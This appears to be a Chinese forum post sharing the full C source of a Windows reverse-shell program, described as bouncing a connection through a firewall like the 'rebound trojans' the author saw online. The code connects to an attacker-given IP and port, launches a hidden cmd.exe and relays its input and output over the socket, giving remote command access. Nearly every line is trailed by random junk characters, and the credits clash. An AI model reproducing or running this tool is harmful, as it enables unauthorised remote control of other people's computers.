这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 />H9T[3=
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/* ============================== Y-v6xUc{F
Rebound port in Windows NT dW6sA65<Y
By wind,2006/7 ^I7iEv
===============================*/ P9BShC5
#include Pa+%H]vB
#include u{J$]%C
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#pragma comment(lib,"wsock32.lib") &=~Jw5WK
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void OutputShell(); eot%Th?[
SOCKET sClient; f]Xh7m(Gh
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; EJrP{GH
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void main(int argc,char **argv) =A{F&:+a]
{ ',P$m&z
WSADATA stWsaData; Pd)mLs Jg
int nRet; G
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SOCKADDR_IN stSaiClient,stSaiServer; \(C6|-:GY
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if(argc != 3) &sJ -&7YZ
{ Qhy!:\&1
printf("Useage:\n\rRebound DestIP DestPort\n"); }Y:V&4DW
return; O |!cPB:
} f}=>c|Do
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9eBD)tnw
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r'8qZJgm
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stSaiClient.sin_family = AF_INET; XlLG/N
stSaiClient.sin_port = htons(0); - ({h @
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >e>%AMzo[
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bI+/0Xx
{ |yS %
printf("Bind Socket Failed!\n"); pmRm&VgE.
return; %:t! u&:q
} [4w*<({*
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stSaiServer.sin_family = AF_INET; nr&bpA/
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bbM^J
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); uP G\1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~y{_NgMo
{ ,BUrZA2\U$
printf("Connect Error!"); >
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return; `*6|2
} x
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OutputShell(); X$e*s\4
} :{+~i.*
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void OutputShell() [Do^EJ
{ _K}q%In
char szBuff[1024]; u@1 2:U$
SECURITY_ATTRIBUTES stSecurityAttributes; s_ t/
OSVERSIONINFO stOsversionInfo; -L+kt_>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; fLnwA|n=
STARTUPINFO stStartupInfo; -0UR%R7q
char *szShell; |.VSw
PROCESS_INFORMATION stProcessInformation; !B 4z U:d
unsigned long lBytesRead; d?&`ZVl
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ((C|&$@M
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); oUwo!n}
stSecurityAttributes.lpSecurityDescriptor = 0; *?BY+0
stSecurityAttributes.bInheritHandle = TRUE; u?"="-^
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); U$mDAi$
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =* G3Khz!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )7 q"l3e"u
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (P`=9+
stStartupInfo.wShowWindow = SW_HIDE; cef[T(>
stStartupInfo.hStdInput = hReadPipe; y{/7z}d
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1^LdYO?g'
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GetVersionEx(&stOsversionInfo);
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switch(stOsversionInfo.dwPlatformId) uLafO=Q
{ pd:7K'yaw
case 1: )i}j\";>L
szShell = "command.com"; D#UuIZ
break; '{cSWa|
#
default: N]w_9p~=1
szShell = "cmd.exe"; wn.~Dx
break; gE _+r
} +9w[/n ^,G
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *mzi ?3
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send(sClient,szMsg,77,0); ?>Sv_0
while(1) rz@qW2
{ /QY F|%7!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1(-!TJ{
if(lBytesRead) Up{[baWF
{ !\X9$4po@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); aOH|[
send(sClient,szBuff,lBytesRead,0); >x{("``D0y
} ZU73UL
else cc|W1,q
{ HEBeJ2w
lBytesRead=recv(sClient,szBuff,1024,0); 3]l)uoNt/
if(lBytesRead<=0) break; @j^R+F
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rW)h?, b
} wAKHD*M)
} ^O18\a
!?nbB2,
return; {4D`VfX_
}